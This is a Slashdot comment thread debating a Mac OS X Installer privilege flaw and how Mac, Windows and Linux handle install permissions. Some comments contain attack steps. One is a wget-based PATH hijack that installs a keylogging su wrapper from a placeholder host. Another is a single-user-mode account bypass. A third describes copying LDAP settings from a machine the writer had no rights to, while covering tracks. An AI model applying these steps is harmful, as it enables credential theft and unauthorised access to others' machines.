      No it's not. Things like this is why you macophiles don't get security. Making system wide changes should not be allowed by default. For example what if I replace Terminal.app with a special Terminal that does keylogging.
    2. Re:Seems nobody really got it. by l0ne · · Score: 1

      The Apple philosophy to security is, if you are running as an admin, then security has ALREADY been breached. Applications become trusted when first launched, and all. You can do much worse if you have code running on the target machine than replacing Terminal.app. This is why all security updates have focused on having code NOT getting ON the machine without user consent (such as the Safari warning dialogs).

    3. Re:Seems nobody really got it. by a.d.trick · · Score: 1
      The Apple philosophy to security is, if you are running as an admin, then security has ALREADY been breached.

      So since the default user on OSX is the admin, than I think it would be reasonable to say that Macs, by default, are insecure.

      However, only saying that would be a bit cruel to the Apple crowd because even on more conservative *nix systems there's always a way, if your victim is in the wheel group.

      mkdir ~/.pwnd/
      cd ~/.pwnd/
      wget http://hax0rwebsite/su #keylogging su wrapper
      chmod +x su
      PATH="~/.pwnd/:$PATH"
      echo "PATH=\"~/.pwnd/:$PATH\" >> ~/.bashrc #also add lines for other shells
      It's not perfect, but it's good enough to srew over the vast majority of people.
  26. I hate installers by NotInTheBox · · Score: 1

    One more reason why I hate installers of every kind.

    Luckily that most software for the mac comes as a dmg which you can mount, drag'n'drop inclosed app nearly anywhere, and that's it. Installers should be used ONLY when it's really needed and there is no other way to do it.

    I do think that Apple should restrict write-access to anything in /System: Just make that whole area read-only for all users, and give write-access only after 'sudo' or equivalent. (The same applies to more folders).

    Every developer should restrain him/herself from writing a kext (kernel extension). Really, unless you do something really unique and special, you do not need that much power. Leave the kernet alone. A kext is not a solution, its a new problem: A bad hack. Please prevent and eliminate these kind of problems.

    --
    What I cannot create, I do not understand
  27. WHY this is unexpected for macs by goombah99 · · Score: 5, Informative

    I'm going to reply to my own post because reading other comments I see that people don't grasp why this is an unexpected behaviour on a mac. It's a fairly normal behaviour on linux and Windows.

    On a mac, it's normally possible to install an application without requiring any super user privledges. On linux and Windows it's frequently impossible or at least quite hard (on linux you often have to fiddle with the make configuration, and it results normally in a crippled application.

    Here's one example. On a windows computer when you install something it has to have some way to get it's hooks into the OS. This might be as simple as notifying the OS of what extension/suffixes it can open or what services or filters it provides to other applications. This is done through the registry. And you need to be root to modify the registry. So you can't really install anything properly without giving your application the ability to write to the registry.

    And since there's no selective privledges that would say "well I trust you to only modify this part of the registry and no where else nor any other file, you basically pull your pants down around your ankles, close your eyes and pray there is no unsolicited finger up the butt every time you install. Linux is simmilar, since it propably wants to shove stuff in /bin and maybe overwrite somethings in /lib.

    On a mac, applications don't do that. Normally an entire application lives in a single folder with no stuff placed anywhere else. SO how does the application provide services? Well what happens is that the operating system will interorogate the Application when it is installed or when you boot or launch it the first time. Inside the application is a standard XML file info.plist that declares all sorts of things the OS might want to know about the application. And then the OS relays this to the other applications as serices that are available. This is how for example, the OS knows what applications can open what kind of documents.

    As a result, there is no need to unbuckle your jeans and grab your ankles when you do an install in most cases. And it's also easy to undo an application since the number of places it touches (usually just the application's folder and the library/preferences)

    Now I just said in most cases. Some applications do need privledges since they are going to make strong modifications. THis might be installing a start-up item, for example, or things that make intimate hardare interface modifications And for those when you run the installer script you naturally expect it to ask you for your password so it can escalate it's privs.

    And there is the problem. It turns out that the installer application on a mac, is a an application that can retain root privs after the first time you grant them (like says SETUID). To me this would seem unneccessary, but it does. And it turns out that if you are a sudo users, and if you have ever granted the installer elevated privs, then when it goes to install an application the requires elevated priv, it does not have to ask you for them! Now it also turns out that in most cases the applicaitons that are being installed can't know if a sudo user or a normal user is installing them so they automatically ask for the password. But they don't have to if you are sudo.

    So the fix is not to install as a sudo user. Then the installer can't get the elevated privs be default. And so the application is forced to ask for them if it needs them.

    Thus when your "make-a-smiley" application you got from gatorware asks for root during the install you have a chance to rethink if this might be a trojan.

    Thus the behaviour of the installer that blows past the authentication check is bothersome to mac users even though they are doing an install. On linux and windows doing an install normally is always done at root privs so the peril is always there.

    --
    Some drink at the fountain of knowledge. Others just gargle.
    1. Re:WHY this is unexpected for macs by Tony+Hoyle · · Score: 1

      The one directory thing only works for strictly GUI apps. If your app needs to install libraries in /usr/lib and put itself somewhere where the command line can see it like /bin the only option is give the installer root priviliges. Even installing a service that runs on startup needs a small shell script run as root. A lot of the stuff that apple ships does this.. try installing xcode without root privs.

      Don't get me started on the lack of an uninstaller (I've seen uninstall instructions for an app that ran to 3 pages due to this lack..)

    2. Re:WHY this is unexpected for macs by NMerriam · · Score: 1

      I'm actually sorry I poted another reply to this thread, since it meant I couldn't moderate you up. But I did want to thank you for explaining so clearly what is happening, why, and why it is unexpected.

      --
      Recursive: Adj. See Recursive.
    3. Re:WHY this is unexpected for macs by Shawn+is+an+Asshole · · Score: 1

      RedHat/Fedora:
      yum remove [appname]

      Debian/Ubuntu:
      apt-get remove [appname]

      AutoPackage (distro independent package system):
      package remove [appname]

      All do a clean uninstall.

      --
      "It ain't a war against drugs.it's a war against personal freedom" --Bill Hicks
    4. Re:WHY this is unexpected for macs by goombah99 · · Score: 2, Informative

      On macs you would not generally install into /usr/lib. Sometimes you would sure. But not normally. Even for pure CLI apps, in most cases you would have gotten those from a package manager like fink. And fink follows, partly, the apple style of being self contained. So it goes into /sw/bin. So what's the difference? well this means your bin's form other package managers and the system don't get stirred together. To delete just remove /sw. it's gone. You can also grant the permissions to change these more selectively using ACLs for the separate bin directories. Not that people do very often since macs don't need that kind of paranoia. But it's built into the security model so if you need it you can do it.

      --
      Some drink at the fountain of knowledge. Others just gargle.
    5. Re:WHY this is unexpected for macs by drsmithy · · Score: 4, Informative
      I'm going to reply to my own post because reading other comments I see that people don't grasp why this is an unexpected behaviour on a mac. It's a fairly normal behaviour on linux and Windows.

      According to the Apple documentation linked from TFA, if this behaviour is actually happening, then it is neither expected, nr proper, and is definitely a bug. How the article writer managed to arrive at the conclusion that Apple's documentation say it is correct and expected, I don't know.

      On a mac, it's normally possible to install an application without requiring any super user privledges. On linux and Windows it's frequently impossible or at least quite hard (on linux you often have to fiddle with the make configuration, and it results normally in a crippled application.

      On Windows this is an issue completely up to the application developer, who decides a) whether their installation procedures requires access to system areas, and/or b) whether they allow the user to specify where to install the applications (and/or c) if they bother to check the privilege level that the user has).

      On Linux, if you're compiling from source, it's a matter of passing --prefix=/some/path to 'configure'. WIth packages, it's a function of the package manager and subject to the same restrictions regarding whether or not the developer has done the right thing.

      OS X is *exactly* the same.

      Here's one example. On a windows computer when you install something it has to have some way to get it's hooks into the OS.

      No, it doesn't.

      This might be as simple as notifying the OS of what extension/suffixes it can open or what services or filters it provides to other applications. This is done through the registry. And you need to be root to modify the registry. So you can't really install anything properly without giving your application the ability to write to the registry.

      This is wrong.

      Firstly, you don't need to be "root" to write to the Registry (Windows has no "root" equivalent and access to the Registry is governed by the same types of ACLs that restrict filesystem access, applied on a per-Registry-key basis).

      Secondly, file associations and similar config data are stored in the per-user Registry hives which, of course, users are (typically) able to modify. The equivalents in OS X are all those XML config files hiding in your home directory (which, of course, you have permissions to modify - although access is not restricted at the same fine-grained level as it is to the Registry).

      And since there's no selective privledges that would say "well I trust you to only modify this part of the registry and no where else nor any other file, you basically pull your pants down around your ankles, close your eyes and pray there is no unsolicited finger up the butt every time you install. Linux is simmilar, since it propably wants to shove stuff in /bin and maybe overwrite somethings in /lib.

      There most certainly *is* the capability for such "selective pivileges" when accessing the Registry, and it is enforced. Linux (and unix in general - including OS X), however, lacks both the centralised repository to lock down access to such a degree and the fine-grained permissions system to actually do so, and is somewhat hampered by the fact "root" has no restrictions whatsoever (at least in typical configurations).

      As a result, there is no need to unbuckle your jeans and grab your ankles when you do an install in most cases. And it's also easy to undo an application since the number of places it touches (usually just the application's folder and the library/preferences)

      From a technical perspective, the situation in Windows (and Linux, to a less degree) is no different.

      And there is the problem. It turns out that the installer application on a mac, is a an application that can retain root privs after the first time you grant them (like says SETUID). To me this would seem unneccess

    6. Re:WHY this is unexpected for macs by Haeleth · · Score: 1

      On a windows computer when you install something it has to have some way to get it's [sic] hooks into the OS. This might be as simple as notifying the OS of what extension/suffixes it can open or what services or filters it provides to other applications. This is done through the registry. And you need to be root to modify the registry. So you can't really install anything properly without giving your application the ability to write to the registry.

      And since there's no selective privledges [sic] that would say "well I trust you to only modify this part of the registry and no where [sic] else nor any other file,["] you basically pull your pants down around your ankles, close your eyes and pray there is no unsolicited finger up the butt every time you install.


      If you will forgive me for being blunt:

      This is complete and utter nonsense. Not one word of it is remotely accurate. You don't know what you're talking about.

      Some of that may have been true in antique versions of Windows, in much the same way that local security was absolutely dire in antique versions of MacOS. But it is nothing but lies where Windows NT, 2000, XP, and Vista are concerned: they all have very fine-grained privilege controls, and most certainly do not require Administrator privileges just to write application settings to the registry.

      Linux is simmilar, [sic] since it propably [sic] wants to shove stuff in /bin and maybe overwrite somethings [sic] in /lib.

      Are you trolling or something? Any Linux application that wants to touch the contents of /bin or /lib is abysmally poorly designed. Needless to say, I've never encountered such an application in 8 years of Linux use.

      Please, please, please, in future restrict your comments to platforms you actually know something about. Making wild (and wildly inaccurate) guesses about how other platforms work serves only to make you look stupid.

    7. Re:WHY this is unexpected for macs by goombah99 · · Score: 2, Informative
      I'm going to reply to my own post because reading other comments I see that people don't grasp why this is an unexpected behaviour on a mac. It's a fairly normal behaviour on linux and Windows.

      According to the Apple documentation linked from TFA, if this behaviour is actually happening, then it is neither expected, nr proper, and is definitely a bug. How the article writer managed to arrive at the conclusion that Apple's documentation say it is correct and expected, I don't know.

      **perhaps if you are not informed on this, it's because I and probably that author reported this behaviour to apple and got the response, Whereas you did not.

      On a mac, it's normally possible to install an application without requiring any super user privledges. On linux and Windows it's frequently impossible or at least quite hard (on linux you often have to fiddle with the make configuration, and it results normally in a crippled application.

      On Windows this is an issue completely up to the application developer, who decides a) whether their installation procedures requires access to system areas, and/or b) whether they allow the user to specify where to install the applications (and/or c) if they bother to check the privilege level that the user has).

      **Reality intrudes here: on Linux and Windows ubiquitously the applications need root, or whatever you want to call it, so often that everyone does run and install as root level user. Your reply is really pretty strange and weasly lawyer speak

      On Linux, if you're compiling from source, it's a matter of passing --prefix=/some/path to 'configure'. WIth packages, it's a function of the package manager and subject to the same restrictions regarding whether or not the developer has done the right thing.

      **Oh come on...this is stupid. Have you ever tried to do large numbers of package installs this way and not basically break the usability of installed libraries for other users, or maintain any consistency between package mangers or had to hand edit other make files unaware of your non-standard installs??? This is completely disingenuous or you are not considering multi-user systems

      OS X is *exactly* the same.

      **errr no it's not. That's the WHOLE point.

      Here's one example. On a windows computer when you install something it has to have some way to get it's hooks into the OS.

      No, it doesn't.

      **Yes it does, he retorted tersely.

      This might be as simple as notifying the OS of what extension/suffixes it can open or what services or filters it provides to other applications. This is done through the registry. And you need to be root to modify the registry. So you can't really install anything properly without giving your application the ability to write to the registry.

      This is wrong. Firstly, you don't need to be "root" to write to the Registry (Windows has no "root" equivalent and access to the Registry is governed by the same types of ACLs that restrict filesystem access, applied on a per-Registry-key basis).

      **Oh were back to semantics about "no root" on windows. Whatever.

      Secondly, file associations and similar config data are stored in the per-user Registry hives which, of course, users are (typically) able to modify. The equivalents in OS X are all those XML config files hiding in your home directory (which, of course, you have permissions to modify - although access is not restricted at the same fine-grained level as it is to the Registry).

      **There are no application XML config files hiding in the your home directory on a mac. That's the point: APP information is in the APP itself. The only thing that ends up in the user prefs folder is the persistent user customization data. But that's not the same thing as what goes in the windows registry.

      And since there's no selective privledges that would say "well I trust you to only modify this part

      --
      Some drink at the fountain of knowledge. Others just gargle.
    8. Re:WHY this is unexpected for macs by Erik+Hollensbe · · Score: 1

      M: Oh look, this isn't an argument.
      A: Yes it is.
      M: No it isn't. It's just contradiction.
      A: No it isn't.
      M: It is!
      A: It is not.
      M: Look, you just contradicted me.
      A: I did not.
      M: Oh you did!!
      A: No, no, no.
      M: You did just then.
      A: Nonsense!
      M: Oh, this is futile!
      A: No it isn't.
      M: I came here for a good argument.
      A: No you didn't; no, you came here for an argument.
      M: An argument isn't just contradiction.
      A: It can be.
      M: No it can't. An argument is a connected series of statements intended to establish a proposition.
      A: No it isn't.
      M: Yes it is! It's not just contradiction.
      A: Look, if I argue with you, I must take up a contrary position.
      M: Yes, but that's not just saying 'No it isn't.'
      A: Yes it is!
      M: No it isn't!

    9. Re:WHY this is unexpected for macs by drsmithy · · Score: 1
      **perhaps if you are not informed on this, it's because I and probably that author reported this behaviour to apple and got the response, Whereas you did not.

      No, the author stated the behaviour was "proper" based on the documentation he linked to, when the documentation quite clearly - in the second row of "Table 1" - states that it is not.

      **Reality intrudes here: on Linux and Windows ubiquitously the applications need root, or whatever you want to call it, so often that everyone does run and install as root level user. Your reply is really pretty strange and weasly lawyer speak

      My point was (pretty clearly) that this is not a *Windows* problem, it is an *application* problem.

      **Oh come on...this is stupid. Have you ever tried to do large numbers of package installs this way and not basically break the usability of installed libraries for other users, or maintain any consistency between package mangers or had to hand edit other make files unaware of your non-standard installs??? This is completely disingenuous or you are not considering multi-user systems

      Er, if you're installing for other users then you *should* require higher than normal privileges. That's kind of the point of a multiuser system.

      I'll add that if the average Linux system came with the same (flawed, IMHO) default permissions for its equivalents of /Applications and friends, "admin" users on Linux could also do what they do on OS X, and "install" applications without needing to use sudo.

      **errr no it's not. That's the WHOLE point.

      From a technical perspective, it is.

      **Yes it does, he retorted tersely.

      You can retort as tersely as you want, it won't change the fact you're wrong, and every piece of documentation says you're wrong. An application can install in Windows - even to the point of associating itself with filetypes - without needing to "get its hooks into the OS".

      **Oh were back to semantics about "no root" on windows. Whatever.

      It's not semantics at all, it's an extremely important aspect of OS security. Superusers (ie: root) are security holes.

      Added to that, your claim that you need to be "root" (or "Administrator, which is what you actually meant) to modify the Registry is not semantics, but fundamentally wrong, because each user has their own Registry hive - which they can write to - where applications store things like file extensions associations and the like.

      (This actually existed even in DOS-based Windows since Windows 98, although obviously it didn't actually have any way of enforcing permissions. It's been around in NT since at least NT4, possibly earlier.)

      **There are no application XML config files hiding in the your home directory on a mac.

      Yes, there are. I suggest you start in ~/Library/Preferences. That is OS X's equivalent (very broadly speaking) to Windows's per-user Registry hives.

      The only thing that ends up in the user prefs folder is the persistent user customization data. But that's not the same thing as what goes in the windows registry.

      Yes, it is (well, as much as two platforms so different can be alike, anyway).

      **Once again with feeling... since nearly everyone has to run as "root" (or whatever you want to call it on windows) on linux and windows to do installs those selective ACLs are not useful in practice.

      Actually they are, because all you need to do to make them useful is (*gasp*) not run as Administrator.

      I'll also point out that root on an OS X machine (ie: any time you type your password into that little dialog) has vastly more power over the system than an Administrator user does over a Windows system, because root is a superuser and Administrator is not.

      Also, again, ("with feeling") this is an *application* problem, not a *Windows* problem.

      That was the point. Once you decide to install as root, there is no selective exception to install here but

    10. Re:WHY this is unexpected for macs by hobbit · · Score: 1
      What's your problem with the
      tag?!
      --
      "Wise men talk because they have something to say; fools, because they have to say something" - Plato
    11. Re:WHY this is unexpected for macs by hobbit · · Score: 1
      What's your problem with the
      tag?!
      --
      "Wise men talk because they have something to say; fools, because they have to say something" - Plato
  28. Easy way to hack OSX by Ethan+Allison · · Score: 1
    Hold Cmd-S at startup to get into a root terminal. From there:
    fsck -fy && mount -uw / && rm /var/db/.AppleSetupDone
    That single flag file, when removed, will allow you to access the computer as though it was just set up. Kills all the user accounts though (not their files)
    1. Re:Easy way to hack OSX by mattkinabrewmindspri · · Score: 2, Interesting

      Or you can boot from the install CD and just reset the password from there. Or boot from another OS X drive and change things from there. Or open the machine and do any of several different things.

      If you can boot into single user mode, the machine is toast anyway. The best thing to do is to install Open Firmware Password to keep people from booting into single user mode or booting from another drive without the admin password, and then physically lock the machine so someone can't open it.

    2. Re:Easy way to hack OSX by Geoffreyerffoeg · · Score: 1

      What's really fun is booting into single-user mode, running mount -uw / if you feel like it, and calling open -a "System Preferences" or any other GUI app. It launches a bare GUI background (kinda like the Installer CD) and runs your application - with root privileges. (It doesn't shut down easily...unless you run the Finder as your application.)

      I know this because I was trying to copy the LDAP settings off a Mac that I only had unprivileged access to (but console access, of course, and in a lab where nobody bothers going at midnight). Running Directory Access this way got me exactly what I needed. And it leaves essentially no tracks, if you don't mount read-write until you need to, and you uncleanly shut down the machine so .bash_history and the like are disposed in the next journal replay.

  29. forgot by Shawn+is+an+Asshole · · Score: 1

    If you absolutely need to install from source*, here is a good way to do it:

    ./configure --prefix=$HOME/apps
    make
    make install


    In .bashrc add:


    export PATH=$PATH:$HOME/apps
    export CFLAGS="$CFLAGS -L$HOME/apps/lib -I$HOME/apps/include"


    I haven't had that fail me. If you need to install something from source that needs to be accessible for other users, install it in /opt/[appname] and add the above things to /etc/bashrc. It works well.

    * Package repositories exist for a reason. Use them.

    --
    "It ain't a war against drugs.it's a war against personal freedom" --Bill Hicks
    1. Re:forgot by Shawn+is+an+Asshole · · Score: 1

      export PATH=$PATH:$HOME/apps should be export PATH=$PATH:$HOME/apps/bin

      --
      "It ain't a war against drugs.it's a war against personal freedom" --Bill Hicks
  30. So basically yo prove the point. by Anonymous Coward · · Score: 0

    you prove the parent post's point about what a pain it is.
    1) you have to use an application to uninstall the app.
    2) and that only works when you used the same package manager to install it.
    3) and you have to be root
    4) and to instal it elsewhere you have to configure make
    5) oh and don't forget the exports. hehe
    6) oh and it doesn't work every time, since sometimes it needs to install fonts in a certain place despite the configure

    jeeze

  31. Didn't you get the memo? by Shawn+is+an+Asshole · · Score: 1
    There's a great security T-shirt out there that carries the slogan "Once you're penetrated, you're ****ed" (except with the canonical 4LW instead of ****).


    You can fucking say "fucked" on fucking Slashdot. Fuck.

    --
    "It ain't a war against drugs.it's a war against personal freedom" --Bill Hicks
    1. Re:Didn't you get the memo? by argent · · Score: 1

      You can ****ing say **** on Usenet too. Hell, I'm the first person to say **** on Usenet (google for it) in a post to fa.sf-lovers. I can say **** if I want, I choose not to unless I'm good and mad.

      So get off my fucking back, OK?

  32. netinfo by Joseph_Daniel_Zukige · · Score: 1

    check your user's group with netinfo.

    If netinfo tells you your user is in group wheel (or was it admin) your user is an admin user.

    I had thought Apple had repented of this and was prompting to make two default users now, one admin and one working, but I guess that was just wishful thinking.

    But, really, until the OS allows one to surf the web with privileges reduced below even non-admin there will be paths open for stepped escalation.

  33. This behaviour must be a bug by drsmithy · · Score: 1
    In TFA, the writer says:
    There exists a pretty significant interface problem with the Apple Installer program such that any package requesting admin access via the AdminAuthorization key, when run in an admin user account, is given full root-level access without providing the user with a password prompt during the install. This is even explained in Apple's Installer documentation as proper behavior.

    Yet on the table here, linked to from TFA, the documentation quite clearly states that if a user is already an Administrator and the "Authorisation Access" specified is "Admin Authorisation", then the subsequent install will only run as the Administrator user. It also says that to get root privileges, "Root Authorisation" must be requested, which will prompt for appropriate user credentials.

    So it would appear while TFA is correct in identifying the behaviour (if it actually happens) as a bug, it is *not* correct in stating this behaviour is "proper".

  34. Lets hope its not broken.... by cmdrbuzz · · Score: 1
    Whilst i'm not totally convinced on the secure attention sequence idea, lets hope that if Apple do implement it, they make sure it works.
    Unlike Windows where its not secure as you can intercept it.

    Have a look at SysInternals - Ctrl2Cap utility for a working example.

    1. Re:Lets hope its not broken.... by Foolhardy · · Score: 1

      Ctrl2Cap is a kernel driver. Read the first sentance of the description. If you have the authority to install a kernel driver, you have control over the system. This is true of every OS in existence, short of TCPA. I specifically said that a SAS is useless if the OS is already compromised (along with all other software measures); having malicious kernel drivers installed certainly qualifies as compromised.

      Show me an example of being able to disable/intercept the SAS with only the access that a standard (non-admin) user has.

    2. Re:Lets hope its not broken.... by glesga_kiss · · Score: 2, Interesting
      Whilst i'm not totally convinced on the secure attention sequence idea, lets hope that if Apple do implement it, they make sure it works. Unlike Windows where its not secure as you can intercept it.

      You can't intercept it without modifying the OS kernel. And if you've done that you already own the machine. ctrl-alt-delete is a very low level signal. This has been around since NT for login, it's nothing new. On linux you can customise what the combo does by modifying the inittab file.

  35. Clueless imbecile -2 by Anonymous Coward · · Score: 0

    You really think you know what you are talking about don't you? Must be nice, ozone man.

  36. Whew! by cciRRus · · Score: 4, Funny

    Good thing I'm using Windows.

    --
    w00t
  37. Well at least linux still has an edge. by Monsuco · · Score: 1

    Even though I imagine an RPM or DEB package could do the same thing, linux still has repositories. You can assume if it is in the origional repos it is safe.

  38. linspire by falconwolf · · Score: 1

    unless things have changed linspire makes all users root unless otherwise told. yikes! watch out.

    Before I saw the computers it was installed on, which I got one, I don't recall having heard of before. I got idea that it's by Lindows. What really got to me, and unfortunately many if not all computer manufacturers are now doing, it doesn't come with any printed manuals. And I like to RTFM. So I went to the Linspire website to print out what they have, and it didn't seem to me to be organized that well. I've printed out about 30 pages but both sides but I've barely touched all of the documents. I'll then put them in a binder. Also I agree the OS, not just Mac OS but all of them should have a wizard to setup different accounts.

    Oops I hope this comes out right as I need to reboot the pc I'm using now, it's on it's last legs which is why I got Linspire.

    Falcon
  39. root by Tom · · Score: 1

    Application with root access can do evil things. News at 11.

    But yes, as someone else posted:: Windos-like installers are the problem. Most OSX software is still installed by dropping it into Programs and you're done, and I very much like it that way (among other things, it makes it trivial to uninstall software, which is often a nightmare on windos because a good portion of the uninstallers don't clean up properly).

    --
    Assorted stuff I do sometimes: Lemuria.org
  40. How about new kind of user? by bussdriver · · Score: 1

    An old idea around for some time was to design an install user that is similar to root but with limitations then limit root's power.

    The extras depends on the system and how far you'd want to go to protect the system.
    root could lose some access (ie: read-only OS.)
    the install user would be limited to mostly disk related activities. This is just 1 example of the features that could be possible by singling out the whole process of system level software installation.

  41. Trusted Software by RAMMS+EIN · · Score: 1

    I think installing software packages is difficult to get right by its very nature. You usually want software you install to be available to all users. A lot of software also modifies the way OS components work, e.g. which application the file manager will use to open certain types of file, or programs that are run when the system boots. On top of that, some packages provide or depend on libraries that should be available to more than just that software.

    If any of the above are true of the package you're installing, the installer needs to have write access to some of the important places in the system (e.g. Applications directory, registry, /etc/init.d, whatever). The problem that is being pointed out here is that, on OS X, installers can obtain that access without requiring a password from the user. However, I think that misses the point: even if you are asked for a password, are you going to decline giving it? You want to install the software, after all.

    Even if you would do a thorough investigation of what the installer did, how many other users would? And even if you did that investigation and everything looked ok, how do you know the application itself, or the commands it registered for running at boot time don't do anything undesirable? You could inspect all the code that comes with the package (which would often require you to disassemble it, which may actually be illegal in your jurisdiction) and hope you didn't miss anything. Now, how many users would do _that_? Is it even practical? Of course, all this applies not just to software installed on OS X, but also on GNU/Linux, the BSDs, Windows, or pretty much any other operating system.

    In the end, I think we just have to trust software to not do anything nasty. However, the great amounts of spyware and trojans that plague Windows users demonstrate that this trust isn't always deserved. So, some degree of inspection is still desireable. What I propose (and I've been advocating for a while) is to set up trust authorities that do whatever they deem necessary for verifying that a software package is trustworthy, and then digitally sign it. Systems would then be configured to trust any number of these trust authorities (the freedom to select what trust authorities to trust is important). The system verifies that a software package is signed by one of these authorities before running it (and should at least scream bloody murder if the package isn't trusted, but better would be to refuse to run it altogether).

    The scheme above could make it much more difficult to get malware to execute on users' systems. Many GNU and BSD users already have a similar system in place: as long as you only install software through the package manager, you will only get software that your distributor apparently trusts. Often, the software is also digitally signed, verifying that the version you get is the same one that was approved.

    --
    Please correct me if I got my facts wrong.
  42. Why not have more than admin and user security? by Deslock · · Score: 1

    (I posted this in another thread a while back)

    Why did they use the "all or nothing" approach of requiring the admin password to install some things? Why not introduce a new model where everything in the filesystem is an object of one of the following types:

    - operating system
    - hardware
    - hardware configuration
    - program
    - program configuration
    - interface configuration
    - data

    Have the option of using different passwords for access to operating system, hardware, and program objects. When you run a program installer, it wouldn't be able to mess with your hardware or OS that way. The admin password would basically never be needed unless you were doing OS updates.

  43. Wrong. by LKM · · Score: 1

    Dunno where you got this idea, but it's just plain wrong. Most Mac OS X applications are installed via drag-and-drop, just like on Mac OS 9. Some are installed via installers, but that has been the case since at least System 7.

    Nothing has changed.

  44. Because the real world is mucky... by argent · · Score: 1

    UNIX has finer grained security than Apple's using. It's easy enough to set it up so that you have people with printer rights, backup rights, and so on. Windows has even finer grains, though they're clumsier to use because they don't have setuid.

    And you still have pretty much a root vs user model in both. On the Mac you only get privileges when you need them, on Windows you have to have them all the time, but either way splitting things up further requires a knowledgable system administrator to run things, because eventually you get some program that doesn't have quite the privileges it needs, and your choices come down to griping or charging off hell-for-leather into rootsville.

    1. Re:Because the real world is mucky... by norkakn · · Score: 1

      I'm curious about the finer grains of security that Windows offers. Between UNIX and ACLs, I'm not sure what's left.

  45. Forest Versus Trees by goombah99 · · Score: 1
    You are missing the forest for your nitpicks over trees.

    Are you trolling or something? Any Linux application that wants to touch the contents of /bin or /lib is abysmally poorly designed.

    If I had said more specifically that it gets installed in $USR/bin or $USR/lib would you be less outraged? You still need root for all the common values of $USR. As a result installs on linux are ubiquitously done as root. On mac's its not common to install as root. Sure sometimes you have to. But you expect the installer to ask for the password in those cases. It's not. That's unexpected. Whereas if you always grant root to the installer as a matter of course, as you do in Linux, it would not be surprising it used root privs to do the install. Hence it's not a situation you usually have on linux. At least with Linux you know your pants are around your ankles. With the macs, they were down too, you just did not know it. Surprise!

    Yes you are being blunt. Do you run as a Privileged user or unprivileged user when you do your installs? If you are like most people you run as privileged. So once again it's like Linux. Most folks installer is running privileged by default.

    But even if I were wrong, that is that there is some hypothetical way to set up a Windows machine so it's similar to macs in regard to allowing everyday unprivileged installs. The essential point I was making remains unchanged an undeserving of your antipathy. That it would be surprising to find you that your installer was assuming root privileges on you.

    --
    Some drink at the fountain of knowledge. Others just gargle.